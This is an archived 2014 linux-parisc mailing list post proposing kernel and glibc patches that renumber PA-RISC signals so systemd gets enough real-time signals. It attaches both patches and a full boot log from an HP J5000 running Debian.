Message-ID: <5434418F.1020407@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060109070908020206020206"
X-Trace: ger.gmane.org 1412710834 14247 80.91.229.3 (7 Oct 2014 19:40:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 19:40:34 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 07 21:40:30 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XbacV-0004mA-Gb
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Oct 2014 21:40:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753815AbaJGTk1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Oct 2014 15:40:27 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:53549 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753518AbaJGTkX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Oct 2014 15:40:23 -0400
Original-Received: from [192.168.178.60] ([84.173.33.33]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MHMRr-1XPGg32EfT-00E8WY; Tue, 07 Oct 2014 21:40:20
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
X-Provags-ID: V03:K0:VTauewiaou/tE4Ig9beZaIGxdEJtwY/FI069ExQ2kznl8qHwxzg
 ghyr0V6/kZ1QhFrPYiYF5ZnqYwHpMnDk2N3G7be6vkPfrjWs1B2OXAiNCiTRvuww0GcAQTu
 BOF2S47ypOa3nHhke8s8j2fd68HsrcGFVJMPilNsjeQSkNGWik/1A/SEMQjTfzswHEyTTyt
 6PxMXprmoo39yHvOc9SoQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6135
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6135>

This is a multi-part message in MIME format.
--------------060109070908020206020206
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hello everyone,

I've just had a successful boot on hppa with systemd :-)
The bootlog is attached.

As already discussed here:
http://article.gmane.org/gmane.linux.ports.parisc/5278
we don't have enough RT signals for systemd, which requests "SIGRTMIN+29" which is > 64 (SIGRTMAX).
Since systemd gets more and more important (e.g. KDE now seems to require systemd) we should try to find a solution.

The attached patches to Linux kernel and glibc shuffles around some signals, so that we end up with
#define __SIGRTMIN	32
instead of
#define __SIGRTMIN	37

I do know that this changes the ABI and introduces a binary incompatibly.
Nevertheless, my testing with the new kernel and glibc didn't showed any obvious problems, which means that I could install either of those and the system didn't showed problems even after reboots.
Additionally, given the fact that we have very little users and live in debian/gentoo unstable would IMHO justify such an incompatible change. Even HP-UX support was dropped a few months back...
And we could easily rebuild packages like strace, gdb and such...

The other option would be to increase NSIG in kernel from 64 to 128 or higher.
I did tried to come up with kernel patches for this now for a few weeks, but ended up with the recognition, that this would require to duplicate nearly all of Linux kernel signal handling and which would most likely introduce new bugs.

What's your opinion on this?
I will provide prebuilt debian packages with those patches for kernel and glibc tomorrow for download, so that people may test themselves...

Helge

--------------060109070908020206020206
Content-Type: text/x-patch;
 name="kernel.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="kernel.patch"

diff --git a/arch/parisc/include/uapi/asm/signal.h b/arch/parisc/include/uapi/asm/signal.h
index f5645d6..10df707 100644
--- a/arch/parisc/include/uapi/asm/signal.h
+++ b/arch/parisc/include/uapi/asm/signal.h
@@ -8,12 +8,12 @@
 #define SIGTRAP		 5
 #define SIGABRT		 6
 #define SIGIOT		 6
-#define SIGEMT		 7
+#define SIGSTKFLT	 7
 #define SIGFPE		 8
 #define SIGKILL		 9
 #define SIGBUS		10
 #define SIGSEGV		11
-#define SIGSYS		12 /* Linux doesn't use this */
+#define SIGXCPU		12
 #define SIGPIPE		13
 #define SIGALRM		14
 #define SIGTERM		15
@@ -32,16 +32,12 @@
 #define SIGTTIN		27
 #define SIGTTOU		28
 #define SIGURG		29
-#define SIGLOST		30 /* Linux doesn't use this either */
-#define	SIGUNUSED	31
-#define SIGRESERVE	SIGUNUSED
-
-#define SIGXCPU		33
-#define SIGXFSZ		34
-#define SIGSTKFLT	36
+#define SIGXFSZ		30
+#define SIGUNUSED	31
+#define SIGSYS		31 /* Linux doesn't use this */
 
 /* These should not be considered constants from userland.  */
-#define SIGRTMIN	37
+#define SIGRTMIN	32
 #define SIGRTMAX	_NSIG /* it's 44 under HP/UX */
 
 /*

--------------060109070908020206020206
Content-Type: text/x-patch;
 name="glibc.signal.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="glibc.signal.patch"

diff -up ./ports/sysdeps/unix/sysv/linux/hppa/bits/signum.h.org ./ports/sysdeps/unix/sysv/linux/hppa/bits/signum.h
--- ./ports/sysdeps/unix/sysv/linux/hppa/bits/signum.h.org	2014-10-06 10:58:34.071963059 +0200
+++ ./ports/sysdeps/unix/sysv/linux/hppa/bits/signum.h	2014-10-06 11:02:48.879949179 +0200
@@ -35,13 +35,13 @@
 #define	SIGILL		4	/* Illegal instruction (ANSI).  */
 #define	SIGTRAP		5	/* Trace trap (POSIX).  */
 #define	SIGABRT		6	/* Abort (ANSI).  */
+#define	SIGSTKFLT	7	/* Stack fault.  */
 #define	SIGIOT		6	/* IOT trap (4.2 BSD).  */
-#define	SIGEMT		7
 #define	SIGFPE		8	/* Floating-point exception (ANSI).  */
 #define	SIGKILL		9	/* Kill, unblockable (POSIX).  */
 #define	SIGBUS		10	/* BUS error (4.2 BSD).  */
 #define	SIGSEGV		11	/* Segmentation violation (ANSI).  */
-#define SIGSYS		12	/* Bad system call.  */
+#define	SIGXCPU		12	/* CPU limit exceeded (4.2 BSD).  */
 #define	SIGPIPE		13	/* Broken pipe (POSIX).  */
 #define	SIGALRM		14	/* Alarm clock (POSIX).  */
 #define	SIGTERM		15	/* Termination (ANSI).  */
@@ -61,11 +61,9 @@
 #define	SIGTTIN		27	/* Background read from tty (POSIX).  */
 #define	SIGTTOU		28	/* Background write to tty (POSIX).  */
 #define	SIGURG		29	/* Urgent condition on socket (4.2 BSD).  */
-#define SIGLOST		30	/* Operating System Has Lost (HP/UX). */
+#define	SIGXFSZ		30	/* File size limit exceeded (4.2 BSD).  */
+#define SIGSYS		31	/* Bad system call.  */
 #define SIGUNUSED	31
-#define	SIGXCPU		33	/* CPU limit exceeded (4.2 BSD).  */
-#define	SIGXFSZ		34	/* File size limit exceeded (4.2 BSD).  */
-#define	SIGSTKFLT	36	/* Stack fault.  */
 
 #define	_NSIG		65	/* Biggest signal number + 1
 				   (including real-time signals).  */
@@ -75,7 +73,7 @@
 
 /* These are the hard limits of the kernel.  These values should not be
    used directly at user level.  */
-#define __SIGRTMIN	37
+#define __SIGRTMIN	32	/* Kernel > 3.17 */
 #define __SIGRTMAX	(_NSIG - 1)
 
 #endif	/* <signal.h> included.  */

--------------060109070908020206020206
Content-Type: text/x-log;
 name="boot.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="boot.log"

Main Menu: Enter command > bo fwscsi.4
Interact with IPL (Y, N, Q)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 0


HARD Booted.
palo ipl 1.95 root@mkhppa3 Thu Apr 17 20:15:17 UTC 2014
Skipping extended partition 6 - beyond reach of IPL

Partition Start(MB) End(MB) Id Type
1               2      33   f0 Palo
2              34     157   83 ext2
5             159   16673   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 11433124(0) bytes @ 0x140000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current command line:
2/vmlinux root=/dev/sdb5 rootfstype=ext4 initrd=2/initrd.img HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102
 0: 2/vmlinux
 1: root=/dev/sdb5
 2: rootfstype=ext4
 3: initrd=2/initrd.img
 4: HOME=/
 5: panic_timeout=60
 6: panic=-1
 7: console=ttyS0
 8: TERM=vt102

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
'x'    reset and reboot machine
? b

Command line for kernel: 'root=/dev/sdb5 rootfstype=ext4 HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
Selected ramdisk: /initrd.img from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 228528 mediaptr 0x1000
Segment 1 load 00138000 size 9420920 mediaptr 0x39000
Loading ramdisk 16365131 bytes @ 3f053000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Initializing cgroup subsys cpuacct
[    0.000000] Linux version 3.16-2-parisc64-smp (debian-kernel@lists.debian.org) (gcc version 4.8.3 (GCC) ) #1 SMP Debian 3.16.3-2 (2014-10-07)
[    0.000000] unwind_init: start = 0x40877600, end = 0x408bd670, entries = 17927
[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...
[    0.000000] Default page size is 4KB.
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: System Map.
[    0.000000] model 00005bd0 00000491 00000000 00000002 782482ee 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000203
[    0.000000] CPUID vers 17 rev 7 (0x00000227)
[    0.000000] capabilities 0x3
[    0.000000] model 9000/785/J5000
[    0.000000] Total Memory: 2048 MB
[    0.000000] initrd: 7f053000-7ffee64b
[    0.000000] initrd: reserving 3f053000-3ffee64b (mem_max 80000000)
[    0.000000] LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
[    0.000000] PERCPU: Embedded 14 pages/cpu @0000000042964000 s27008 r8192 d22144 u57344
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 517120
[    0.000000] Kernel command line: root=/dev/sdb5 rootfstype=ext4 HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    0.000000] Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
[    0.000000] Sorting __ex_table...
[    0.000000] Memory: 2035292K/2097152K available (5508K kernel code, 1817K rwdata, 1094K rodata, 368K init, 636K bss, 61860K reserved)
[    0.000000] virtual kernel memory layout:
    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    0.000000]     memory  : 0x0000000040000000 - 0x00000000c0000000   (2048 MB)
    0.000000]       .init : 0x0000000040100000 - 0x000000004015c000   ( 368 kB)
    0.000000]       .data : 0x00000000406bd000 - 0x0000000040994fb0   (2911 kB)
    0.000000]       .text : 0x000000004015c000 - 0x00000000406bd000   (5508 kB)
[    0.000000] Hierarchical RCU implementation.
[    0.000000]  CONFIG_RCU_FANOUT set to non-default value of 32
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.060000] Calibrating delay loop... 872.44 BogoMIPS (lpj=1744896)
[    0.160000] pid_max: default: 32768 minimum: 301
[    0.224000] Security Framework initialized
[    0.276000] AppArmor: AppArmor disabled by boot time parameter
[    0.352000] Yama: disabled by default; enable with sysctl kernel.yama.*
[    0.440000] Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
[    0.528000] Mountpoint-cache hash table entries: 4096 (order: 3, 32768 bytes)
[    0.624000] Initializing cgroup subsys memory
[    0.680000] Initializing cgroup subsys devices
[    0.740000] Initializing cgroup subsys freezer
[    0.800000] Initializing cgroup subsys net_cls
[    0.856000] Initializing cgroup subsys blkio
[    0.912000] Initializing cgroup subsys perf_event
[    0.976000] Initializing cgroup subsys net_prio
[    1.040000] Brought up 1 CPUs
[    1.080000] devtmpfs: initialized
[    1.128000] NET: Registered protocol family 16
[    1.188000] EISA bus registered
[    1.228000] Searching for devices...
[    1.520000] Found devices:
[    1.556000] 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
[    1.664000] 2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
[    1.772000] 3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
[    1.876000] 4. Elroy PCI Bridge at 0xfffffffffed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
[    1.984000] 5. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
[    2.092000] 6. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
[    2.196000] 7. Forte W 2-way at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5bd, 0x00004 }
[    2.296000] 8. Forte W 2-way at 0xfffffffffffa2000 [34] { 0, 0x0, 0x5bd, 0x00004 }
[    2.396000] 9. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x088, 0x00009 }
[    2.488000] Enabling regular chassis codes support v0.05
[    2.680000] Releasing cpu 1 now, hpa=fffffffffffa2000
[    2.764000] FP[1] enabled: Rev 1 Model 16
[    2.764000] CPU(s): 2 out of 2 PA8500 (PCX-W) at 440.000000 MHz online
[    2.908000] Setting cache flush threshold to 100000 (2 CPUs online)
[    3.016000] SBA found Astro 2.1 at 0xfffffffffed00000
[    3.084000] Elroy version TR2.1 (0x2) found at 0xfffffffffed30000
[    3.164000] LBA 10:0: PCI host bridge to bus 0000:00
[    3.232000] pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
[    3.312000] pci_bus 0000:00: root bus resource [mem 0xfffffffff4000000-0xfffffffff47fffff] (bus address [0xf4000000-0xf47fffff])
[    3.464000] pci_bus 0000:00: root bus resource [bus 00]
[    3.536000] PCI: Enabled native mode for NS87415 (pif=0x8f)
[    3.616000] Elroy version TR2.1 (0x2) found at 0xfffffffffed32000
[    3.696000] LBA 10:1: PCI host bridge to bus 0000:01
[    3.760000] pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
[    3.880000] pci_bus 0000:01: root bus resource [mem 0xfffffffff4800000-0xfffffffff4ffffff] (bus address [0xf4800000-0xf4ffffff])
[    4.032000] pci_bus 0000:01: root bus resource [bus 01]
[    4.100000] Elroy version TR2.1 (0x2) found at 0xfffffffffed34000
[    4.180000] LBA 10:2: PCI host bridge to bus 0000:02
[    4.248000] pci_bus 0000:02: root bus resource [io  0x24000-0x25fff] (bus address [0x4000-0x5fff])
[    4.364000] pci_bus 0000:02: root bus resource [mem 0xfffffffff5000000-0xfffffffff57fffff] (bus address [0xf5000000-0xf57fffff])
[    4.516000] pci_bus 0000:02: root bus resource [bus 02]
[    4.588000] Elroy version TR2.1 (0x2) found at 0xfffffffffed38000
[    4.668000] LBA 10:4: PCI host bridge to bus 0000:03
[    4.732000] pci_bus 0000:03: root bus resource [io  0x38000-0x39fff] (bus address [0x8000-0x9fff])
[    4.852000] pci_bus 0000:03: root bus resource [mem 0xfffffffff6000000-0xfffffffff67fffff] (bus address [0xf6000000-0xf67fffff])
[    5.004000] pci_bus 0000:03: root bus resource [bus 03]
[    5.072000] Elroy version TR2.1 (0x2) found at 0xfffffffffed3c000
[    5.152000] LBA 10:6: PCI host bridge to bus 0000:04
[    5.220000] pci_bus 0000:04: root bus resource [io  0x4c000-0x4dfff] (bus address [0xc000-0xdfff])
[    5.336000] pci_bus 0000:04: root bus resource [mem 0xfffffffffa000000-0xfffffffffbffffff] (bus address [0xfa000000-0xfbffffff])
[    5.488000] pci_bus 0000:04: root bus resource [mem 0xfffffffff7000000-0xfffffffff77fffff] (bus address [0xf7000000-0xf77fffff])
[    5.640000] pci_bus 0000:04: root bus resource [bus 04]
[    5.712000] iosapic: hpa not registered for 0000:04:07.0
[    5.792000] powersw: Soft power switch at 0xfffffff0f0400804 enabled.
[    5.892000] vgaarb: loaded
[    5.944000] NET: Registered protocol family 2
[    6.004000] TCP established hash table entries: 16384 (order: 5, 131072 bytes)
[    6.100000] TCP bind hash table entries: 16384 (order: 6, 262144 bytes)
[    6.188000] TCP: Hash tables configured (established 16384 bind 16384)
[    6.276000] TCP: reno registered
[    6.316000] UDP hash table entries: 1024 (order: 3, 32768 bytes)
[    6.396000] UDP-Lite hash table entries: 1024 (order: 3, 32768 bytes)
[    6.480000] NET: Registered protocol family 1
[    6.540000] SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 68)
[    6.632000] SuperIO: Serial port 1 at 0x3f8
[    6.688000] SuperIO: Serial port 2 at 0x2f8
[    6.744000] SuperIO: Parallel port at 0x378
[    6.796000] SuperIO: Floppy controller at 0x3f0
[    6.856000] SuperIO: ACPI at 0x7e0
[    6.904000] SuperIO: USB regulator enabled
[    7.012000] Unpacking initramfs...
[    9.124000] Freeing initrd memory: 15980K (000000007f053000 - 000000007ffee000)
[    9.220000] Enabling PDC chassis warnings support v0.05
[    9.288000] Performance monitoring counters enabled for Forte W 2-way
[    9.376000] futex hash table entries: 2048 (order: 5, 131072 bytes)
[    9.460000] audit: initializing netlink subsys (disabled)
[    9.528000] audit: type=2000 audit(1412708413.528:1): initialized
[    9.612000] zbud: loaded
[    9.648000] VFS: Disk quotas dquot_6.5.2
[    9.700000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[    9.784000] msgmni has been set to 4006
[    9.840000] alg: No test for stdrng (krng)
[    9.892000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 252)
[    9.992000] io scheduler noop registered
[   10.040000] io scheduler deadline registered
[   10.100000] io scheduler cfq registered (default)
[   10.164000] PDC Stable Storage facility v0.30
[   10.532000] STI GSC/PCI core graphics driver Version 0.9b
[   10.604000] sti 0000:04:07.0: enabling SERR and PARITY (0002 -> 0142)
[   10.688000] STI PCI graphic ROM found at fffffffff7000000 (64 kB), fb at fffffffffa000000 (32 MB)
[   10.876000] STI ROM supports 32 bit firmware functions.
[   10.948000] STI selected 8x16 framebuffer font VGA8x16 for sticon
[   11.028000]     id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
[   11.108000]     graphics card name: PCI_GRAFFITIX800
[   11.172000] sticon: Initializing STI text console.
[   11.604000] Console: switching to colour STI console 100x37
[   12.088000] Console: switching to colour frame buffer device 100x37
[   12.212000] fb0: stifb 800x600-8 frame buffer device, PCI_GRAFFITIX800, id: 2d08c0a7, mmio: 0xfffffffffa100000
[   12.344000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[   12.424000] serial8250: ttyS0 at I/O 0x3f8 (irq = 3, base_baud = 115200) is a 16550A
[   12.528000] console [ttyS0] enabled
[   12.528000] console [ttyS0] enabled
[   12.616000] bootconsole [ttyB0] disabled
[   12.616000] bootconsole [ttyB0] disabled
[   12.712000] serial8250: ttyS1 at I/O 0x2f8 (irq = 4, base_baud = 115200) is a 16550A
[   12.808000] Linux agpgart interface v0.103
[   12.856000] quicksilver: No Pluto found, so no AGPGART for you.
[   12.928000] [drm] Initialized drm 1.1.0 20060810
[   12.984000] mousedev: PS/2 mouse device common for all mice
[   13.052000] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[   13.140000] ledtrig-cpu: registered to indicate activity on CPUs
[   13.212000] TCP: cubic registered
[   13.252000] NET: Registered protocol family 10
[   13.308000] mip6: Mobile IPv6
[   13.344000] NET: Registered protocol family 17
[   13.396000] mpls_gso: MPLS GSO support
[   13.440000] registered taskstats version 1
[   13.496000] rtc-generic rtc-generic: setting system clock to 2014-10-07 19:00:18 UTC (1412708418)
[   13.604000] Freeing unused kernel memory: 368K (0000000040100000 - 000000004015c000)
Loading, please wait...
[   13.948000] systemd-udevd[59]: starting version 215
[   14.012000] random: systemd-udevd urandom read with 72 bits of entropy available
[   14.232000] tulip: Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
[   14.380000] SCSI subsystem initialized
[   14.436000] tulip0: no phy info, aborting mtable build
[   14.500000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1
[   14.704000] net eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff4008000, 00:10:83:cf:f8:47, IRQ 66
[   14.864000] usbcore: registered new interface driver usbfs
[   14.932000] usbcore: registered new interface driver hub
[   14.996000] usbcore: registered new device driver usb
[   15.076000] sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 69
[   15.144000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[   15.144000] sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
[   15.144000] sym0: SCSI BUS has been reset.
[   15.144000] scsi0 : sym-2.2.3
[   15.384000] sym0: SCSI BUS mode change from SE to SE.
[   15.384000] sym0: SCSI BUS has been reset.
[   15.504000] scsi1 : pata_ns87415
[   15.548000] scsi2 : pata_ns87415
[   15.588000] ata1: PATA max MWDMA2 cmd 0xf00 ctl 0xe00 bmdma 0xa00 irq 7
[   15.668000] ata2: PATA max MWDMA2 cmd 0xd00 ctl 0xb00 bmdma 0xa08 irq 7
[   15.756000] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[   15.836000] ehci-pci: EHCI PCI platform driver
[   15.900000] ohci-pci: OHCI PCI platform driver
[   15.984000] sym1: <896> rev 0x4 at pci 0000:00:0f.1 irq 69
[   16.052000] sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
[   16.132000] sym1: SCSI BUS has been reset.
[   16.188000] sym1: SCSI BUS mode change from SE to SE.
[   16.188000] ata1.00: ATAPI: FX4830T, R02D, max UDMA/33
[   16.188000] sym1: SCSI BUS has been reset.
[   16.360000] scsi3 : sym-2.2.3
[   16.396000] ata1.00: configured for MWDMA2
[   16.448000] ohci-pci 0000:00:0e.2: OHCI PCI host controller
[   16.516000] ohci-pci 0000:00:0e.2: new USB bus registered, assigned bus number 1
[   16.604000] ohci-pci 0000:00:0e.2: irq 1, io mem 0xfffffffff4007000
[   16.736000] usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
[   16.816000] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[   16.904000] usb usb1: Product: OHCI PCI host controller
[   16.964000] usb usb1: Manufacturer: Linux 3.16-2-parisc64-smp ohci_hcd
[   17.044000] usb usb1: SerialNumber: 0000:00:0e.2
[   17.100000] hub 1-0:1.0: USB hub found
[   17.144000] hub 1-0:1.0: 3 ports detected
[   20.600000] scsi 3:0:3:0: Direct-Access     SEAGATE  ST118273WC       HP14 PQ: 0 ANSI: 2
[   20.696000] scsi target3:0:3: tagged command queuing enabled, command queue depth 16.
[   20.792000] scsi: waiting for bus probes to complete ...
[   20.792000] scsi target3:0:3: Beginning Domain Validation
[   20.804000] scsi target3:0:3: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
[   20.812000] scsi target3:0:3: Domain Validation skipping write tests
[   20.812000] scsi target3:0:3: Ending Domain Validation
[   20.820000] scsi 3:0:4:0: Direct-Access     SEAGATE  ST118273WC       HP14 PQ: 0 ANSI: 2
[   20.820000] scsi target3:0:4: tagged command queuing enabled, command queue depth 16.
[   20.820000] scsi target3:0:4: Beginning Domain Validation
[   20.832000] scsi target3:0:4: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
[   20.840000] scsi target3:0:4: Domain Validation skipping write tests
[   20.840000] scsi target3:0:4: Ending Domain Validation
[   20.844000] scsi 3:0:5:0: Direct-Access     QUANTUM  ATLAS10K-18LVD   HP06 PQ: 0 ANSI: 3
[   20.844000] scsi target3:0:5: tagged command queuing enabled, command queue depth 16.
[   20.844000] scsi target3:0:5: Beginning Domain Validation
[   20.848000] scsi target3:0:5: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 31)
[   20.848000] scsi target3:0:5: Domain Validation skipping write tests
[   20.852000] scsi target3:0:5: Ending Domain Validation
[   20.856000] scsi 3:0:6:0: Direct-Access     QUANTUM  ATLAS10K-18LVD   HP06 PQ: 0 ANSI: 3
[   20.856000] scsi target3:0:6: tagged command queuing enabled, command queue depth 16.
[   20.856000] scsi target3:0:6: Beginning Domain Validation
[   20.860000] scsi target3:0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 31)
[   20.860000] scsi target3:0:6: Domain Validation skipping write tests
[   20.860000] scsi target3:0:6: Ending Domain Validation
[   22.584000] timer_interrupt(CPU 1): delayed! cycles 2EF0812F rem EBED1  next/now 1082CF096F7/1082CE1D826
[   22.676000] random: nonblocking pool is initialized
[   23.284000] scsi 1:0:0:0: CD-ROM            MITSUMI  CD-ROM FX4830T!B R02D PQ: 0 ANSI: 5
[   23.428000] sd 3:0:3:0: [sda] 35566480 512-byte logical blocks: (18.2 GB/16.9 GiB)
[   23.428000] sd 3:0:5:0: [sdc] 35566480 512-byte logical blocks: (18.2 GB/16.9 GiB)
[   23.428000] sd 3:0:6:0: [sdd] 35566480 512-byte logical blocks: (18.2 GB/16.9 GiB)
[   23.432000] sd 3:0:5:0: [sdc] Write Protect is off
[   23.432000] sd 3:0:6:0: [sdd] Write Protect is off
[   23.432000] sd 3:0:5:0: [sdc] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   23.432000] sd 3:0:4:0: [sdb] 35566480 512-byte logical blocks: (18.2 GB/16.9 GiB)
[   23.436000] sd 3:0:6:0: [sdd] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   23.436000] sd 3:0:4:0: [sdb] Write Protect is off
[   23.440000] sd 3:0:4:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   24.292000] sd 3:0:3:0: [sda] Write Protect is off
[   24.348000]  sdd: sdd1 sdd2 sdd3 sdd4 < sdd5 >
[   24.348000]  sdc: unknown partition table
[   24.456000] sd 3:0:3:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   24.460000] sd 3:0:6:0: [sdd] Attached SCSI disk
[   24.460000] sd 3:0:5:0: [sdc] Attached SCSI disk
[   24.484000]  sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 >
[   24.740000] sd 3:0:4:0: [sdb] Attached SCSI disk
[   24.796000]  sda: sda1 sda2 sda3
[   24.844000] sd 3:0:3:0: [sda] Attached SCSI disk
[   24.928000] sd 3:0:3:0: Attached scsi generic sg0 type 0
[   25.004000] sd 3:0:4:0: Attached scsi generic sg1 type 0
[   25.076000] sd 3:0:5:0: Attached scsi generic sg2 type 0
[   25.152000] sd 3:0:6:0: Attached scsi generic sg3 type 0
[   25.216000] scsi 1:0:0:0: Attached scsi generic sg4 type 5
[   25.320000] sr0: scsi3-mmc drive: 48x/48x cd/rw xa/form2 cdda tray
[   25.392000] cdrom: Uniform CD-ROM driver Revision: 3.20
Begin: Loading essential drivers ... done.
Begin: Running /scripts/init-premount ... done.
Begin: Mounting root file system ... Begin: Running /scripts/local-top ... done.
Begin: Running /scripts/local-premount ... done.
Begin: Checking root file system ... fsck from util-linux 2.20.1
/dev/sdb5: recovering journal
/dev/sdb5: clean, 41430/1058720 files, 525252/4227840 blocks
done.
[   30.516000] EXT4-fs (sdb5): mounted filesystem with ordered data mode. Opts: (null)
done.
Begin: Running /scripts/local-bottom ... done.
Begin: Running /scripts/init-bottom ... done.
[   32.144000] systemd[1]: systemd 215 running in system mode. (+PAM +AUDIT +SELINUX +IMA +SYSVINIT +LIBCRYPTSETUP +GCRYPT +ACL +XZ -SECCOMP -APPARMOR)
[   32.304000] systemd[1]: Detected architecture 'parisc64'.

Welcome to Debian GNU/Linux jessie/sid!

[   32.804000] systemd[1]: Inserted module 'autofs4'
[   32.888000] systemd[1]: Set hostname to <ls3017>.
[   34.548000] systemd[1]: Cannot add dependency job for unit display-manager.service, ignoring: Unit display-manager.service failed to load: No such file or directory.
[   34.728000] systemd[1]: Starting Forward Password Requests to Wall Directory Watch.
[   34.824000] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
[   34.912000] systemd[1]: Expecting device dev-ttyS0.device...
         Expecting device dev-ttyS0.device...
[   35.040000] systemd[1]: Starting Remote File Systems (Pre).
[  OK  ] Reached target Remote File Systems (Pre).
[   35.176000] systemd[1]: Reached target Remote File Systems (Pre).
[   35.252000] systemd[1]: Starting Arbitrary Executable File Formats File System Automount Point.
[  OK  ] Set up automount Arbitrary Executable File Formats F...utomount Point.
[   35.456000] systemd[1]: Set up automount Arbitrary Executable File Formats File System Automount Point.
[   35.568000] systemd[1]: Starting Encrypted Volumes.
[  OK  ] Reached target Encrypted Volumes.
[   35.688000] systemd[1]: Reached target Encrypted Volumes.
[   35.752000] systemd[1]: Starting Dispatch Password Requests to Console Directory Watch.
[   35.852000] systemd[1]: Started Dispatch Password Requests to Console Directory Watch.
